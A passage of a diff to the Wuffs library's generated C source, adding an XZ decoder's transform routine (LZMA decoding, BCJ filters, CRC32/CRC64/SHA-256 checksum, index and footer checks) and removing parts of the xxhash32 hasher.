WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_private_impl__ignore_status(wuffs_crc64__ecma_hasher__initialize(&self->private_data.f_crc64, ++ sizeof (wuffs_crc64__ecma_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_private_impl__ignore_status(wuffs_sha256__hasher__initialize(&self->private_data.f_sha256, ++ sizeof (wuffs_sha256__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ v_compressed_size = 0u; ++ v_uncompressed_size = 0u; ++ while (true) { ++ if (((uint64_t)(self->private_impl.f_bcj_undo_index)) > ((uint64_t)(io2_a_dst - iop_a_dst))) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ continue; ++ } ++ v_dmark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ if (self->private_impl.f_num_non_final_filters == 0u) { ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_4 = wuffs_lzma__decoder__transform_io(&self->private_data.f_lzma, a_dst, a_src, a_workbuf); ++ v_status = t_4; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ } else { ++ if (self->private_impl.f_bcj_undo_index > 0u) { ++ wuffs_private_impl__io_writer__copy_from_slice(&iop_a_dst, io2_a_dst,wuffs_base__make_slice_u8(self->private_data.f_filter_data[0u], self->private_impl.f_bcj_undo_index)); ++ self->private_impl.f_bcj_undo_index = 0u; ++ } ++ { ++ uint8_t* o_0_io0_a_dst = io0_a_dst; ++ uint8_t* o_0_io1_a_dst = io1_a_dst; ++ io0_a_dst = iop_a_dst; ++ io1_a_dst = iop_a_dst; ++ wuffs_base__io_buffer o_0_a_dst; ++ if (a_dst) { ++ memcpy(&o_0_a_dst, a_dst, sizeof(*a_dst)); ++ size_t wi0 = a_dst->meta.wi; ++ a_dst->data.ptr += wi0; ++ a_dst->data.len -= wi0; ++ a_dst->meta.ri = 0; ++ a_dst->meta.wi = 0; ++ a_dst->meta.pos = wuffs_base__u64__sat_add(a_dst->meta.pos, wi0); ++ } ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_5 = wuffs_lzma__decoder__transform_io(&self->private_data.f_lzma, a_dst, a_src, a_workbuf); ++ v_status = t_5; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if (a_dst) { ++ memcpy(a_dst, &o_0_a_dst, sizeof(*a_dst)); ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ io0_a_dst = o_0_io0_a_dst; ++ io1_a_dst = o_0_io1_a_dst; ++ } ++ } ++ self->private_impl.f_bcj_undo_index = wuffs_xz__decoder__apply_non_final_filters(self, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ if ((self->private_impl.f_bcj_undo_index > 0u) && ! wuffs_base__status__is_ok(&v_status)) { ++ v_i8 = ((uint8_t)(self->private_impl.f_bcj_undo_index - 1u)); ++ while (true) { ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_xz__error__internal_error_inconsistent_bcj_filter_state); ++ goto exit; ++ } ++ self->private_data.f_filter_data[0u][v_i8] = iop_a_dst[-1]; ++ iop_a_dst--; ++ if (v_i8 <= 0u) { ++ break; ++ } + #if defined(__GNUC__) + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wconversion" + #endif +- self->private_impl.f_buf_len += 1u; ++ v_i8 -= 1u; + #if defined(__GNUC__) + #pragma GCC diagnostic pop + #endif +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); +- } +- v_buf_len = ((uint32_t)((self->private_impl.f_buf_len & 15u))); +- v_v0 = self->private_impl.f_v0; +- v_v1 = self->private_impl.f_v1; +- v_v2 = self->private_impl.f_v2; +- v_v3 = self->private_impl.f_v3; +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 16; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16); +- while (v_p.ptr < i_end0_p) { +- v_buf_u32 = (((uint32_t)(v_p.ptr[0u])) | +- (((uint32_t)(v_p.ptr[1u])) << 8u) | +- (((uint32_t)(v_p.ptr[2u])) << 16u) | +- (((uint32_t)(v_p.ptr[3u])) << 24u)); +- v_v0 = ((uint32_t)(v_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); +- v_v0 = ((uint32_t)(v_v0 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(v_p.ptr[4u])) | +- (((uint32_t)(v_p.ptr[5u])) << 8u) | +- (((uint32_t)(v_p.ptr[6u])) << 16u) | +- (((uint32_t)(v_p.ptr[7u])) << 24u)); +- v_v1 = ((uint32_t)(v_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); +- v_v1 = ((uint32_t)(v_v1 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(v_p.ptr[8u])) | +- (((uint32_t)(v_p.ptr[9u])) << 8u) | +- (((uint32_t)(v_p.ptr[10u])) << 16u) | +- (((uint32_t)(v_p.ptr[11u])) << 24u)); +- v_v2 = ((uint32_t)(v_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); +- v_v2 = ((uint32_t)(v_v2 * 2654435761u)); +- v_buf_u32 = (((uint32_t)(v_p.ptr[12u])) | +- (((uint32_t)(v_p.ptr[13u])) << 8u) | +- (((uint32_t)(v_p.ptr[14u])) << 16u) | +- (((uint32_t)(v_p.ptr[15u])) << 24u)); +- v_v3 = ((uint32_t)(v_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); +- v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); +- v_v3 = ((uint32_t)(v_v3 * 2654435761u)); +- v_p.ptr += 16; +- } +- v_p.len = 1; +- uint8_t* i_end1_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end1_p) { +- self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; +- v_buf_len = ((v_buf_len + 1u) & 15u); +- v_p.ptr += 1; ++ } ++ } ++ } ++ v_compressed_size += wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src))); ++ v_uncompressed_size += wuffs_private_impl__io__count_since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst))); ++ if (self->private_impl.f_ignore_checksum) { ++ } else if (self->private_impl.f_checksummer == 1u) { ++ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ } else if (self->private_impl.f_checksummer == 2u) { ++ wuffs_crc64__ecma_hasher__update(&self->private_data.f_crc64, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ } else if (self->private_impl.f_checksummer == 3u) { ++ wuffs_sha256__hasher__update(&self->private_data.f_sha256, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ } ++ if ((self->private_impl.f_block_has_compressed_size && (self->private_impl.f_block_compressed_size != v_compressed_size)) || (self->private_impl.f_block_has_uncompressed_size && (self->private_impl.f_block_uncompressed_size != v_uncompressed_size))) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_block_header); ++ goto exit; ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_size_for_index, v_compressed_size); ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_size_for_index, ((uint64_t)(WUFFS_XZ__CHECKSUM_LENGTH[self->private_impl.f_checksummer]))); ++ self->private_impl.f_verification_have_total_sizes[0u] += self->private_impl.f_compressed_size_for_index; ++ v_hash = ((uint32_t)((self->private_impl.f_compressed_size_for_index ^ (self->private_impl.f_compressed_size_for_index >> 32u)))); ++ v_hash *= 3432918353u; ++ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); ++ v_hash *= 461845907u; ++ v_hash ^= self->private_impl.f_verification_have_hashed_sizes[0u]; ++ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); ++ self->private_impl.f_verification_have_hashed_sizes[0u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); ++ self->private_impl.f_verification_have_total_sizes[1u] += v_uncompressed_size; ++ v_hash = ((uint32_t)((v_uncompressed_size ^ (v_uncompressed_size >> 32u)))); ++ v_hash *= 3432918353u; ++ v_hash = (((uint32_t)(v_hash << 15u)) | (v_hash >> 17u)); ++ v_hash *= 461845907u; ++ v_hash ^= self->private_impl.f_verification_have_hashed_sizes[1u]; ++ v_hash = (((uint32_t)(v_hash << 13u)) | (v_hash >> 19u)); ++ self->private_impl.f_verification_have_hashed_sizes[1u] = ((uint32_t)(((uint32_t)(v_hash * 5u)) + 3864292196u)); ++ while ((v_compressed_size & 3u) != 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_padding); ++ goto exit; ++ } ++ v_compressed_size += 1u; ++ } ++ self->private_impl.f_lzma_needs_reset = true; ++ if (self->private_impl.f_ignore_checksum) { ++ self->private_data.s_do_transform_io.scratch = ((uint32_t)(WUFFS_XZ__CHECKSUM_LENGTH[self->private_impl.f_checksummer])); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (self->private_data.s_do_transform_io.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_transform_io.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_transform_io.scratch; ++ } else if (self->private_impl.f_checksummer == 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ uint32_t t_7; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; ++ if (num_bits_7 == 24) { ++ t_7 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_7 += 8u; ++ *scratch |= ((uint64_t)(num_bits_7)) << 56; ++ } ++ } ++ v_checksum32_want = t_7; ++ } ++ v_checksum32_have = wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32); ++ if (v_checksum32_have != v_checksum32_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ } else if (self->private_impl.f_checksummer == 2u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ uint64_t t_8; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_8 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; ++ if (num_bits_8 == 56) { ++ t_8 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_8 += 8u; ++ *scratch |= ((uint64_t)(num_bits_8)) << 56; ++ } ++ } ++ v_checksum64_want = t_8; ++ } ++ v_checksum64_have = wuffs_crc64__ecma_hasher__checksum_u64(&self->private_data.f_crc64); ++ if (v_checksum64_have != v_checksum64_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ } else if (self->private_impl.f_checksummer == 3u) { ++ v_checksum256_have = wuffs_sha256__hasher__checksum_bitvec256(&self->private_data.f_sha256); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); ++ uint64_t t_9; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_9 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_9 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_9); ++ if (num_bits_9 == 56) { ++ t_9 = ((uint64_t)(*scratch >> 0)); ++ break; ++ } ++ num_bits_9 += 8u; ++ *scratch |= ((uint64_t)(num_bits_9)); ++ } ++ } ++ v_checksum64_want = t_9; ++ } ++ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 3u) != v_checksum64_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); ++ uint64_t t_10; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_10 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_10 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_10); ++ if (num_bits_10 == 56) { ++ t_10 = ((uint64_t)(*scratch >> 0)); ++ break; ++ } ++ num_bits_10 += 8u; ++ *scratch |= ((uint64_t)(num_bits_10)); ++ } ++ } ++ v_checksum64_want = t_10; ++ } ++ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 2u) != v_checksum64_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); ++ uint64_t t_11; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_11 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_11 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_11); ++ if (num_bits_11 == 56) { ++ t_11 = ((uint64_t)(*scratch >> 0)); ++ break; ++ } ++ num_bits_11 += 8u; ++ *scratch |= ((uint64_t)(num_bits_11)); ++ } ++ } ++ v_checksum64_want = t_11; ++ } ++ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 1u) != v_checksum64_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); ++ uint64_t t_12; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_12 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_12 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_12); ++ if (num_bits_12 == 56) { ++ t_12 = ((uint64_t)(*scratch >> 0)); ++ break; ++ } ++ num_bits_12 += 8u; ++ *scratch |= ((uint64_t)(num_bits_12)); ++ } ++ } ++ v_checksum64_want = t_12; ++ } ++ if (wuffs_base__bitvec256__get_u64(&v_checksum256_have, 0u) != v_checksum64_want) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ } ++ } ++ self->private_impl.f_backwards_size = 0u; ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ while (true) { ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_13 = wuffs_xz__decoder__verify_index(self, a_src); ++ v_status = t_13; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_backwards_size, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(25); ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_base__make_slice_u8(wuffs_base__strip_const_from_u8_ptr(WUFFS_XZ__ZEROES), (3u & ((uint64_t)(0u - (3u & self->private_impl.f_backwards_size)))))); ++ } ++ while ((self->private_impl.f_backwards_size & 3u) != 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_14 = *iop_a_src++; ++ v_c8 = t_14; ++ } ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ self->private_impl.f_backwards_size += 1u; ++ } ++ self->private_impl.f_backwards_size >>= 2u; ++ if ((self->private_impl.f_backwards_size == 0u) || (self->private_impl.f_backwards_size > 4294967295u)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_index); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); ++ uint32_t t_15; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_15 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_15 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_15; ++ if (num_bits_15 == 24) { ++ t_15 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_15 += 8u; ++ *scratch |= ((uint64_t)(num_bits_15)) << 56; ++ } ++ } ++ v_checksum32_want = t_15; ++ } ++ if (self->private_impl.f_ignore_checksum) { ++ } else if (v_checksum32_want != wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32)) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } else { ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); ++ uint32_t t_16; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_16 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_16 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_16; ++ if (num_bits_16 == 24) { ++ t_16 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_16 += 8u; ++ *scratch |= ((uint64_t)(num_bits_16)) << 56; ++ } ++ } ++ v_checksum32_want = t_16; ++ } ++ while (true) { ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_17 = wuffs_xz__decoder__verify_footer(self, a_src); ++ v_status = t_17; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(31); ++ } ++ if ( ! self->private_impl.f_ignore_checksum && (v_checksum32_want != wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32))) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); ++ uint16_t t_18; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_18 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_18 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_18; ++ if (num_bits_18 == 8) { ++ t_18 = ((uint16_t)(*scratch)); ++ break; ++ } ++ num_bits_18 += 8u; ++ *scratch |= ((uint64_t)(num_bits_18)) << 56; ++ } ++ } ++ v_footer_magic = t_18; ++ } ++ if (v_footer_magic != 23129u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_footer); ++ goto exit; ++ } ++ if ( ! self->private_impl.f_standalone_format) { ++ break; ++ } ++ while (true) { ++ while (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ if (a_src && a_src->meta.closed) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) == 0u) { ++ goto label__streams__break; ++ } else { ++ status = wuffs_base__make_status(wuffs_xz__error__truncated_input); ++ goto exit; ++ } ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(34); ++ } ++ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ if (v_c32 == 1484404733u) { ++ break; ++ } else if (v_c32 != 0u) { ++ status = wuffs_base__make_status(wuffs_xz__error__bad_header_concatenated_stream); ++ goto exit; ++ } ++ iop_a_src += 4u; ++ } ++ self->private_impl.f_started_verify_index = false; + } +- v_p.len = 0; +- } +- self->private_impl.f_buf_len = ((uint8_t)(v_buf_len)); +- self->private_impl.f_v0 = v_v0; +- self->private_impl.f_v1 = v_v1; +- self->private_impl.f_v2 = v_v2; +- self->private_impl.f_v3 = v_v3; +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func xxhash32.hasher.checksum_u32 ++ label__streams__break:; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_xxhash32__hasher__checksum_u32( +- const wuffs_xxhash32__hasher* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ ok: ++ self->private_impl.p_do_transform_io = 0; ++ goto exit; + } + +- uint32_t v_ret = 0; +- uint32_t v_i = 0; +- uint32_t v_n = 0; +- uint32_t v_buf_u32 = 0; ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_transform_io.v_checksum32_have = v_checksum32_have; ++ self->private_data.s_do_transform_io.v_checksum32_want = v_checksum32_want; ++ self->private_data.s_do_transform_io.v_checksum256_have = v_checksum256_have; ++ self->private_data.s_do_transform_io.v_compressed_size = v_compressed_size; ++ self->private_data.s_do_transform_io.v_uncompressed_size = v_uncompressed_size; + +- if ((self->private_impl.f_length_modulo_u32 >= 16u) || self->private_impl.f_length_overflows_u32) { +- v_ret += (((uint32_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 31u)); +- v_ret += (((uint32_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 25u)); +- v_ret += (((uint32_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 20u)); +- v_ret += (((uint32_t)(self->private_impl.f_v3 << 18u)) | 